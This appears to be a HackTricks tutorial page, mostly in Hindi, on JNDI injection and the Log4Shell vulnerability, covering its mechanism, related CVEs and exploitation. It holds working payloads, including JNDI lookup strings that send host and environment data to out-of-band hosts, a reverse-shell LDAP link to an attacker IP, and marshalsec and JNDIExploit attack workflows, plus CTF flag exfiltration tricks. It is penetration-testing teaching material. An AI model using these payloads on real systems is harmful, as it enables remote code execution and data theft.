JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, जो 1990 के दशक के अंत से Java में एकीकृत है, एक निर्देशिका सेवा के रूप में कार्य करता है, जिससे Java प्रोग्राम डेटा या वस्तुओं को नामकरण प्रणाली के माध्यम से खोज सकते हैं। यह सेवा प्रदाता इंटरफेस (SPIs) के माध्यम से विभिन्न निर्देशिका सेवाओं का समर्थन करता है, जिससे विभिन्न प्रणालियों से डेटा पुनर्प्राप्त करना संभव होता है, जिसमें दूरस्थ Java वस्तुएं शामिल हैं। सामान्य SPIs में CORBA COS, Java RMI Registry, और LDAP शामिल हैं।
Java वस्तुओं को JNDI Naming References का उपयोग करके संग्रहीत और पुनर्प्राप्त किया जा सकता है, जो दो रूपों में आते हैं:
Reference Addresses: एक वस्तु के स्थान को निर्दिष्ट करता है (जैसे, rmi://server/ref), जो निर्दिष्ट पते से सीधे पुनर्प्राप्ति की अनुमति देता है।
Remote Factory: एक दूरस्थ फैक्टरी वर्ग को संदर्भित करता है। जब इसे एक्सेस किया जाता है, तो वर्ग को दूरस्थ स्थान से डाउनलोड और इंस्टेंटिएट किया जाता है।
हालांकि, इस तंत्र का दुरुपयोग किया जा सकता है, जिससे मनमाने कोड को लोड और निष्पादित किया जा सकता है। एक प्रतिकूल उपाय के रूप में:
RMI: java.rmi.server.useCodeabseOnly = true डिफ़ॉल्ट रूप से JDK 7u21 से, दूरस्थ वस्तु लोडिंग को प्रतिबंधित करता है। एक सुरक्षा प्रबंधक और भी सीमित करता है कि क्या लोड किया जा सकता है।
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false डिफ़ॉल्ट रूप से JDK 6u141, 7u131, 8u121 से, दूरस्थ रूप से लोड की गई Java वस्तुओं के निष्पादन को अवरुद्ध करता है। यदि इसे true पर सेट किया जाता है, तो सुरक्षा प्रबंधक की निगरानी के बिना दूरस्थ कोड निष्पादन संभव है।
CORBA: इसका कोई विशिष्ट गुण नहीं है, लेकिन सुरक्षा प्रबंधक हमेशा सक्रिय रहता है।
हालांकि, Naming Manager, जो JNDI लिंक को हल करने के लिए जिम्मेदार है, में अंतर्निहित सुरक्षा तंत्र की कमी है, जिससे किसी भी स्रोत से वस्तुओं को पुनर्प्राप्त करने की अनुमति मिलती है। यह एक जोखिम प्रस्तुत करता है क्योंकि RMI, LDAP, और CORBA सुरक्षा उपायों को दरकिनार किया जा सकता है, जिससे मनमाने Java वस्तुओं को लोड करने या मौजूदा एप्लिकेशन घटकों (गैजेट्स) का दुरुपयोग करके दुर्भावनापूर्ण कोड चलाने की अनुमति मिलती है।
दुरुपयोग योग्य URL के उदाहरणों में शामिल हैं:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
सुरक्षा उपायों के बावजूद, कमजोरियाँ बनी रहती हैं, मुख्य रूप से अविश्वसनीय स्रोतों से JNDI लोड करने के खिलाफ सुरक्षा की कमी और मौजूदा सुरक्षा उपायों को दरकिनार करने की संभावना के कारण।
यहां तक कि यदि आपने PROVIDER_URL सेट किया है, तो आप एक लुकअप में एक अलग URL निर्दिष्ट कर सकते हैं और इसे एक्सेस किया जाएगा: ctx.lookup("<attacker-controlled-url>") और यही एक हमलावर का दुरुपयोग होगा ताकि वह अपने द्वारा नियंत्रित प्रणाली से मनमाने वस्तुओं को लोड कर सके।
CORBA (Common Object Request Broker Architecture) एक Interoperable Object Reference (IOR) का उपयोग करता है ताकि दूरस्थ वस्तुओं की अद्वितीय पहचान की जा सके। यह संदर्भ आवश्यक जानकारी जैसे शामिल करता है:
Type ID: एक इंटरफेस के लिए अद्वितीय पहचानकर्ता।
Codebase: स्टब क्लास प्राप्त करने के लिए URL।
विशेष रूप से, CORBA स्वाभाविक रूप से कमजोर नहीं है। सुरक्षा सुनिश्चित करने के लिए आमतौर पर शामिल होता है:
एक सुरक्षा प्रबंधक की स्थापना।
सुरक्षा प्रबंधक को संभावित रूप से दुर्भावनापूर्ण कोडबेस से कनेक्शन की अनुमति देने के लिए कॉन्फ़िगर करना। यह निम्नलिखित के माध्यम से किया जा सकता है:
सॉकेट अनुमति, जैसे, permissions java.net.SocketPermission "*:1098-1099", "connect";।
फ़ाइल पढ़ने की अनुमति, या तो सार्वभौमिक रूप से (permission java.io.FilePermission "<<ALL FILES>>", "read";) या विशिष्ट निर्देशिकाओं के लिए जहां दुर्भावनापूर्ण फ़ाइलें रखी जा सकती हैं।
हालांकि, कुछ विक्रेता नीतियाँ लचीली हो सकती हैं और डिफ़ॉल्ट रूप से इन कनेक्शनों की अनुमति दे सकती हैं।
RMI (Remote Method Invocation) के लिए, स्थिति कुछ हद तक अलग है। CORBA की तरह, मनमाने क्लास डाउनलोडिंग डिफ़ॉल्ट रूप से प्रतिबंधित है। RMI का दुरुपयोग करने के लिए, किसी को आमतौर पर सुरक्षा प्रबंधक को दरकिनार करना होगा, जो CORBA में भी प्रासंगिक है।
सबसे पहले, हमें Search और Lookup के बीच अंतर करना होगा।
एक search एक URL का उपयोग करेगा जैसे ldap://localhost:389/o=JNDITutorial JNDITutorial वस्तु को LDAP सर्वर से खोजने के लिए और इसके गुणों को पुनर्प्राप्त करने के लिए।
एक lookup का उद्देश्य नामकरण सेवाओं के लिए है क्योंकि हम जो कुछ भी एक नाम से बंधा है उसे प्राप्त करना चाहते हैं।
यदि LDAP खोज को SearchControls.setReturningObjFlag() के साथ true के साथ लागू किया गया था, तो लौटाई गई वस्तु को पुनर्निर्मित किया जाएगा।
इसलिए, इन विकल्पों पर हमला करने के कई तरीके हैं। एक हमलावर LDAP रिकॉर्ड को ज़हर दे सकता है, उन पर पेलोड पेश करके जो उन प्रणालियों में निष्पादित होंगे जो उन्हें इकट्ठा करती हैं (यदि आपके पास LDAP सर्वर तक पहुंच है तो दर्जनों मशीनों को समझौता करने के लिए बहुत उपयोगी है)। इसको दुरुपयोग करने का एक और तरीका यह होगा कि एक MitM हमले को LDAP खोज में किया जाए उदाहरण के लिए।
यदि आप एक ऐप को JNDI LDAP URL हल करने के लिए बना सकते हैं, तो आप उस LDAP को नियंत्रित कर सकते हैं जिसे खोजा जाएगा, और आप दुरुपयोग वापस भेज सकते हैं (log4shell)।
दुरुपयोग को अनुक्रमित किया गया है और इसे पुनः अनुक्रमित किया जाएगा।
यदि trustURLCodebase true है, तो एक हमलावर कोडबेस में अपनी कक्षाएँ प्रदान कर सकता है, यदि नहीं, तो उसे क्लासपाथ में गैजेट्स का दुरुपयोग करना होगा।
इस LDAP पर JavaFactory संदर्भों का उपयोग करके हमला करना आसान है:
यह कमजोरियाँ Log4j में पेश की गई है क्योंकि यह एक विशेष सिंटैक्स का समर्थन करता है जो ${prefix:name} के रूप में है जहां prefix विभिन्न Lookups में से एक है जहां name का मूल्यांकन किया जाना चाहिए। उदाहरण के लिए, ${java:version} वर्तमान में चल रही Java का संस्करण है।
LOG4J2-313 ने jndi लुकअप सुविधा पेश की। यह सुविधा JNDI के माध्यम से चर पुनर्प्राप्त करने की अनुमति देती है। आमतौर पर, कुंजी को स्वचालित रूप से java:comp/env/ के साथ पूर्ववर्ती किया जाता है। हालाँकि, यदि कुंजी में स्वयं ":" शामिल है, तो यह डिफ़ॉल्ट पूर्ववर्ती लागू नहीं होता है।
कुंजी में : उपस्थित होने पर, जैसे ${jndi:ldap://example.com/a} में कोई पूर्ववर्ती नहीं है और LDAP सर्वर वस्तु के लिए क्वेरी की जाती है। और ये लुकअप Log4j के कॉन्फ़िगरेशन में और जब पंक्तियाँ लॉग की जाती हैं, दोनों में उपयोग किए जा सकते हैं।
इसलिए, RCE प्राप्त करने के लिए केवल एक चीज़ की आवश्यकता है एक कमजोर Log4j संस्करण जो उपयोगकर्ता द्वारा नियंत्रित जानकारी को संसाधित करता है। और क्योंकि यह एक पुस्तकालय है जो Java अनुप्रयोगों द्वारा जानकारी लॉग करने के लिए व्यापक रूप से उपयोग किया जाता है (इंटरनेट के सामने आने वाले अनुप्रयोगों सहित), यह बहुत सामान्य था कि log4j HTTP हेडर जैसे User-Agent को लॉग करता था। हालाँकि, log4j केवल HTTP जानकारी को लॉग करने के लिए नहीं बल्कि किसी भी इनपुट और डेटा को लॉग करने के लिए उपयोग किया जाता है जिसे डेवलपर ने निर्दिष्ट किया।
यह कमजोरियाँ log4j-core घटक में एक महत्वपूर्ण अविश्वसनीय अनुक्रमण दोष है, जो 2.0-beta9 से 2.14.1 तक के संस्करणों को प्रभावित करती है। यह दूरस्थ कोड निष्पादन (RCE) की अनुमति देती है, जिससे हमलावरों को प्रणालियों पर नियंत्रण प्राप्त करने की अनुमति मिलती है। यह मुद्दा चेन झाओजुन द्वारा रिपोर्ट किया गया था जो Alibaba Cloud Security Team से हैं और यह विभिन्न Apache ढांचों को प्रभावित करता है। संस्करण 2.15.0 में प्रारंभिक सुधार अधूरा था। रक्षा के लिए Sigma नियम उपलब्ध हैं (Rule 1, Rule 2)।
शुरुआत में कम रेट किया गया लेकिन बाद में महत्वपूर्ण में अपग्रेड किया गया, यह CVE एक Denial of Service (DoS) दोष है जो CVE-2021-44228 के लिए 2.15.0 में अधूरे सुधार के परिणामस्वरूप है। यह गैर-डिफ़ॉल्ट कॉन्फ़िगरेशन को प्रभावित करता है, जिससे हमलावरों को तैयार पेलोड के माध्यम से DoS हमले करने की अनुमति मिलती है। एक ट्वीट एक बायपास विधि को प्रदर्शित करता है। यह मुद्दा संस्करण 2.16.0 और 2.12.2 में संदेश लुकअप पैटर्न को हटाकर और डिफ़ॉल्ट रूप से JNDI को अक्षम करके हल किया गया है।
यह Log4j 1.x संस्करणों को प्रभावित करता है जो JMSAppender का उपयोग करते हैं, यह CVE एक अविश्वसनीय अनुक्रमण दोष है। 1.x शाखा के लिए कोई सुधार उपलब्ध नहीं है, जो समाप्त हो चुकी है, और log4j-core 2.17.0 में अपग्रेड करने की सिफारिश की जाती है।
यह कमजोरियाँ Logback लॉगिंग ढांचे को प्रभावित करती है, जो Log4j 1.x का उत्तराधिकारी है। पहले इसे सुरक्षित माना गया था, लेकिन ढांचे को कमजोर पाया गया, और नए संस्करण (1.3.0-alpha11 और 1.2.9) जारी किए गए हैं ताकि इस मुद्दे को हल किया जा सके।
Log4j 2.16.0 में एक DoS दोष है, जिससे CVE को ठीक करने के लिए log4j 2.17.0 जारी किया गया। आगे की जानकारी BleepingComputer की रिपोर्ट में है।
यह log4j संस्करण 2.17 को प्रभावित करता है, इस CVE के लिए हमलावर को log4j के कॉन्फ़िगरेशन फ़ाइल को नियंत्रित करने की आवश्यकता होती है। इसमें एक कॉन्फ़िगर किए गए JDBCAppender के माध्यम से संभावित मनमाने कोड निष्पादन शामिल है। अधिक जानकारी Checkmarx ब्लॉग पोस्ट में उपलब्ध है।
यह कमजोरियाँ बहुत आसानी से खोजी जा सकती है यदि यह असुरक्षित है क्योंकि यह आपके द्वारा अपने पेलोड में निर्दिष्ट पते पर कम से कम एक DNS अनुरोध भेजेगी। इसलिए, पेलोड जैसे:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (using canarytokens.com)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (using interactsh)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (using Burp Suite)
${jndi:ldap://2j4ayo.dnslog.cn} (using dnslog)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} using (using huntress)
ध्यान दें कि यहां तक कि यदि एक DNS अनुरोध प्राप्त होता है, तो इसका मतलब यह नहीं है कि एप्लिकेशन दुरुपयोग योग्य है (या यहां तक कि कमजोर है), आपको इसे दुरुपयोग करने का प्रयास करना होगा।
याद रखें कि संस्करण 2.15 का दुरुपयोग करने के लिए आपको localhost जांच बायपास जोड़ने की आवश्यकता है: ${jndi:ldap://127.0.0.1#...}
स्थानीय कमजोर संस्करणों की खोज करें:
कुछ प्लेटफार्म जो पहले सूचीबद्ध किए गए हैं, आपको कुछ वेरिएबल डेटा डालने की अनुमति देंगे जो जब अनुरोध किया जाएगा तो लॉग किया जाएगा। यह 2 चीजों के लिए बहुत उपयोगी हो सकता है:
कमजोरी की पुष्टि करने के लिए
कमजोरी का दुरुपयोग करके जानकारी निकालने के लिए
उदाहरण के लिए, आप कुछ इस तरह अनुरोध कर सकते हैं:
या जैसे ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} और यदि env वेरिएबल के मान के साथ DNS अनुरोध प्राप्त होता है, तो आप जानते हैं कि एप्लिकेशन कमजोर है।
अन्य जानकारी जिसे आप लीक करने की कोशिश कर सकते हैं:
JDK संस्करण 6u141, 7u131, या 8u121 से ऊपर चलने वाले होस्ट LDAP क्लास लोडिंग हमले के खिलाफ सुरक्षित हैं। इसका कारण com.sun.jndi.ldap.object.trustURLCodebase का डिफ़ॉल्ट निष्क्रिय होना है, जो JNDI को LDAP के माध्यम से एक दूरस्थ कोडबेस लोड करने से रोकता है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि ये संस्करण डिसेरियलाइजेशन हमले के खिलाफ सुरक्षित नहीं हैं।
इन उच्च JDK संस्करणों का लाभ उठाने के लिए हमलावरों को Java एप्लिकेशन के भीतर एक विश्वसनीय गैजेट का उपयोग करना आवश्यक है। इस उद्देश्य के लिए अक्सर ysoserial या JNDIExploit जैसे उपकरणों का उपयोग किया जाता है। इसके विपरीत, निम्न JDK संस्करणों का शोषण करना अपेक्षाकृत आसान है क्योंकि इन संस्करणों को मनिपुलेट करके मनमाने क्लास लोड और निष्पादित किए जा सकते हैं।
अधिक जानकारी के लिए (जैसे RMI और CORBA वेक्टर पर सीमाएँ) पिछले JNDI नामकरण संदर्भ अनुभाग की जांच करें या https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/
आप इसे THM बॉक्स में परीक्षण कर सकते हैं: https://tryhackme.com/room/solar
उपकरण marshalsec का उपयोग करें (जार संस्करण यहाँ उपलब्ध है)। यह दृष्टिकोण एक LDAP संदर्भ सर्वर स्थापित करता है ताकि कनेक्शनों को एक द्वितीयक HTTP सर्वर पर पुनर्निर्देशित किया जा सके जहाँ शोषण होस्ट किया जाएगा:
टार्गेट को रिवर्स शेल कोड लोड करने के लिए प्रेरित करने के लिए, नीचे दिए गए सामग्री के साथ Exploit.java नामक एक जावा फ़ाइल तैयार करें:
Java फ़ाइल को क्लास फ़ाइल में संकलित करें: javac Exploit.java -source 8 -target 8। इसके बाद, क्लास फ़ाइल वाले निर्देशिका में एक HTTP सर्वर प्रारंभ करें: python3 -m http.server। सुनिश्चित करें कि marshalsec LDAP सर्वर इस HTTP सर्वर का संदर्भ देता है।
संवेदनशील वेब सर्वर पर एक्सप्लॉइट क्लास के निष्पादन को ट्रिगर करें एक पेलोड भेजकर जो इस तरह दिखता है:
नोट: यह एक्सप्लॉइट Java की कॉन्फ़िगरेशन पर निर्भर करता है जो LDAP के माध्यम से रिमोट कोडबेस लोडिंग की अनुमति देता है। यदि यह अनुमति नहीं है, तो मनमाने कोड निष्पादन के लिए एक विश्वसनीय क्लास का उपयोग करने पर विचार करें।
ध्यान दें कि किसी कारणवश लेखक ने log4shell की खोज के बाद इस प्रोजेक्ट को github से हटा दिया। आप https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 में एक कैश्ड संस्करण पा सकते हैं, लेकिन यदि आप लेखक के निर्णय का सम्मान करना चाहते हैं तो इस vuln का शोषण करने के लिए एक अलग विधि का उपयोग करें।
इसके अलावा, आप वेबैक मशीन में स्रोत कोड नहीं पा सकते हैं, इसलिए या तो स्रोत कोड का विश्लेषण करें, या यह जानते हुए कि आप क्या निष्पादित कर रहे हैं, jar को निष्पादित करें।
इस उदाहरण के लिए, आप बस इस log4shell के लिए कमजोर वेब सर्वर को पोर्ट 8080 पर चला सकते हैं: https://github.com/christophetd/log4shell-vulnerable-app (README में आपको इसे चलाने का तरीका मिलेगा)। यह कमजोर ऐप log4shell के एक कमजोर संस्करण के साथ HTTP अनुरोध हेडर X-Api-Version की सामग्री को लॉग कर रहा है।
फिर, आप JNDIExploit jar फ़ाइल डाउनलोड कर सकते हैं और इसे निष्पादित कर सकते हैं:
After reading the code just a couple of minutes, in com.feihong.ldap.LdapServer and com.feihong.ldap.HTTPServer you can see how the LDAP और HTTP सर्वर बनाए जाते हैं. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit. In com.feihong.ldap.gadgets you can find कुछ विशेष गैजेट्स that can be used to excute the desired action (potentially execute arbitrary code). And in com.feihong.ldap.template you can see the different template classes that will एक्सप्लॉइट्स उत्पन्न करें.
You can see all the available exploits with java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Some useful ones are:
तो, हमारे उदाहरण में, हमारे पास पहले से ही वह डॉकर कमजोर ऐप चल रहा है। इसे हमले के लिए:
जब आप हमले भेजते हैं, तो आप उस टर्मिनल में कुछ आउटपुट देखेंगे जहाँ आपने JNDIExploit-1.2-SNAPSHOT.jar चलाया था।
अन्य शोषण विकल्पों के लिए java -jar JNDIExploit-1.2-SNAPSHOT.jar -u की जांच करना न भूलें। इसके अलावा, यदि आपको इसकी आवश्यकता हो, तो आप LDAP और HTTP सर्वरों का पोर्ट बदल सकते हैं।
पिछले शोषण के समान, आप इस कमजोरियों का शोषण करने के लिए JNDI-Exploit-Kit का उपयोग करने की कोशिश कर सकते हैं। आप पीड़ित को भेजने के लिए URLs उत्पन्न कर सकते हैं:
यह हमला एक कस्टम जनरेटेड जावा ऑब्जेक्ट का उपयोग करके उन प्रयोगशालाओं में काम करेगा जैसे कि THM सोलर रूम। हालाँकि, यह सामान्यतः काम नहीं करेगा (क्योंकि डिफ़ॉल्ट रूप से जावा को LDAP का उपयोग करके रिमोट कोडबेस लोड करने के लिए कॉन्फ़िगर नहीं किया गया है) मुझे लगता है क्योंकि यह मनमाने कोड को निष्पादित करने के लिए एक विश्वसनीय क्लास का दुरुपयोग नहीं कर रहा है।
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus एक और उपकरण है जो काम करने योग्य JNDI लिंक उत्पन्न करने और RMI सर्वर, LDAP सर्वर और HTTP सर्वर शुरू करके बैकग्राउंड सेवाएँ प्रदान करता है।\
यह विकल्प वास्तव में जावा संस्करणों पर हमला करने के लिए उपयोगी है जो केवल निर्दिष्ट क्लासेस पर भरोसा करते हैं और सभी पर नहीं। इसलिए, ysoserial का उपयोग विश्वसनीय क्लासेस के सीरियलाइजेशन उत्पन्न करने के लिए किया जाएगा जो मनमाने कोड को निष्पादित करने के लिए गैजेट्स के रूप में उपयोग किया जा सकता है (ysoserial द्वारा दुरुपयोग की गई विश्वसनीय क्लास को शिकार जावा प्रोग्राम द्वारा उपयोग किया जाना चाहिए ताकि यह हमला काम करे)।
ysoserial या ysoserial-modified का उपयोग करके आप उस डीसिरियलाइजेशन एक्सप्लॉइट को बना सकते हैं जिसे JNDI द्वारा डाउनलोड किया जाएगा:
JNDI-Exploit-Kit का उपयोग करें ताकि JNDI लिंक उत्पन्न किए जा सकें जहाँ एक्सप्लॉइट कमजोर मशीनों से कनेक्शन की प्रतीक्षा करेगा। आप JNDI-Exploit-Kit द्वारा स्वचालित रूप से उत्पन्न किए गए विभिन्न एक्सप्लॉइट या यहां तक कि अपने स्वयं के डीसिरियलाइजेशन पेलोड (जो आपने या ysoserial द्वारा उत्पन्न किए हैं) को सर्व कर सकते हैं।
अब आप आसानी से एक उत्पन्न JNDI लिंक का उपयोग करके इस कमजोरी का फायदा उठा सकते हैं और एक reverse shell प्राप्त कर सकते हैं, बस एक कमजोर संस्करण के log4j को भेजकर: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - स्थानीय कमजोर पुस्तकालयों को खोजें
इस CTF लेख में यह अच्छी तरह से समझाया गया है कि Log4J की कुछ विशेषताओं का दुरुपयोग करना संभव है।
Log4j के सुरक्षा पृष्ठ में कुछ दिलचस्प वाक्य हैं:
संस्करण 2.16.0 (Java 8 के लिए) से, संदेश लुकअप सुविधा पूरी तरह से हटा दी गई है। कॉन्फ़िगरेशन में लुकअप अभी भी काम करते हैं। इसके अलावा, Log4j अब डिफ़ॉल्ट रूप से JNDI तक पहुंच को अक्षम करता है। अब कॉन्फ़िगरेशन में JNDI लुकअप को स्पष्ट रूप से सक्षम करने की आवश्यकता है।
संस्करण 2.17.0 से, (और Java 7 और Java 6 के लिए 2.12.3 और 2.3.1), केवल कॉन्फ़िगरेशन में लुकअप स्ट्रिंग्स को पुनरावृत्त रूप से विस्तारित किया गया है; किसी अन्य उपयोग में, केवल शीर्ष-स्तरीय लुकअप को हल किया जाता है, और कोई भी नेस्टेड लुकअप हल नहीं होते हैं।
इसका मतलब है कि डिफ़ॉल्ट रूप से आप किसी भी jndi शोषण का उपयोग करना भूल सकते हैं। इसके अलावा, पुनरावृत्त लुकअप करने के लिए आपको उन्हें कॉन्फ़िगर करना होगा।
उदाहरण के लिए, उस CTF में यह log4j2.xml फ़ाइल में कॉन्फ़िगर किया गया था:
In this CTF हमलावर ने ${sys:cmd} का मान नियंत्रित किया और एक पर्यावरण चर से ध्वज को निकालने की आवश्यकता थी।
जैसा कि पिछले पेलोड्स में इस पृष्ठ पर देखा गया है, पर्यावरण चर तक पहुँचने के लिए विभिन्न तरीके हैं, जैसे: ${env:FLAG}। इस CTF में यह बेकार था लेकिन यह अन्य वास्तविक जीवन परिदृश्यों में बेकार नहीं हो सकता।
CTF में, आप log4J का उपयोग करके java एप्लिकेशन के stderr तक पहुँच नहीं सकते थे, लेकिन Log4J अपवाद stdout पर भेजे जाते हैं, जो python ऐप में प्रिंट किए गए थे। इसका मतलब था कि एक अपवाद को ट्रिगर करके हम सामग्री तक पहुँच सकते थे। ध्वज को निकालने के लिए एक अपवाद था: ${java:${env:FLAG}}। यह काम करता है क्योंकि ${java:CTF{blahblah}} मौजूद नहीं है और ध्वज के मान के साथ एक अपवाद दिखाया जाएगा:
बस यह उल्लेख करने के लिए, आप नए conversion patterns भी इंजेक्ट कर सकते हैं और अपवाद ट्रिगर कर सकते हैं जो stdout पर लॉग किए जाएंगे। उदाहरण के लिए:
यह त्रुटि संदेश के भीतर डेटा निकालने के लिए उपयोगी नहीं पाया गया, क्योंकि लुकअप को रूपांतरण पैटर्न से पहले हल नहीं किया गया था, लेकिन यह अन्य चीजों जैसे पहचानने के लिए उपयोगी हो सकता है।
हालांकि, कुछ conversion patterns जो regexes का समर्थन करते हैं का उपयोग करके लुकअप से जानकारी निकालना संभव है, regexes का उपयोग करके और बाइनरी सर्च या समय आधारित व्यवहारों का दुरुपयोग करके।
Binary search via exception messages
रूपांतरण पैटर्न %replace का उपयोग सामग्री को स्ट्रिंग से बदलने के लिए किया जा सकता है, यहां तक कि regexes का उपयोग करके। यह इस तरह काम करता है: replace{pattern}{regex}{substitution}
इस व्यवहार का दुरुपयोग करते हुए आप स्ट्रिंग के भीतर कुछ भी मेल खाने पर अपवाद को ट्रिगर करने के लिए बदलने का काम कर सकते हैं (और यदि यह नहीं मिला तो कोई अपवाद नहीं) इस तरह:
समय आधारित
जैसा कि पिछले अनुभाग में उल्लेख किया गया था, %replace regexes का समर्थन करता है। इसलिए यह संभव है कि ReDoS पृष्ठ से पेलोड का उपयोग करके timeout उत्पन्न किया जाए यदि ध्वज पाया जाता है।
उदाहरण के लिए, %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} जैसा एक पेलोड उस CTF में timeout को ट्रिगर करेगा।
इस writeup में, ReDoS हमले का उपयोग करने के बजाय, प्रतिक्रिया में समय के अंतर को उत्पन्न करने के लिए एक amplification attack का उपयोग किया गया:
यदि ध्वज
flagGuessसे शुरू होता है, तो पूरे ध्वज को 29#-s के साथ बदल दिया जाता है (मैंने इस चरित्र का उपयोग किया क्योंकि यह संभवतः ध्वज का हिस्सा नहीं होगा)। परिणामी 29#-s में से प्रत्येक को फिर 54#-s से बदल दिया जाता है। यह प्रक्रिया 6 बार दोहराई जाती है, जिससे कुल29*54*54^6* =`` ``96816014208#-s!इतने सारे
#-s को बदलने से Flask एप्लिकेशन का 10-सेकंड का timeout ट्रिगर होगा, जो बदले में उपयोगकर्ता को HTTP स्थिति कोड 500 भेजेगा। (यदि ध्वजflagGuessसे शुरू नहीं होता है, तो हमें एक गैर-500 स्थिति कोड प्राप्त होगा)
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
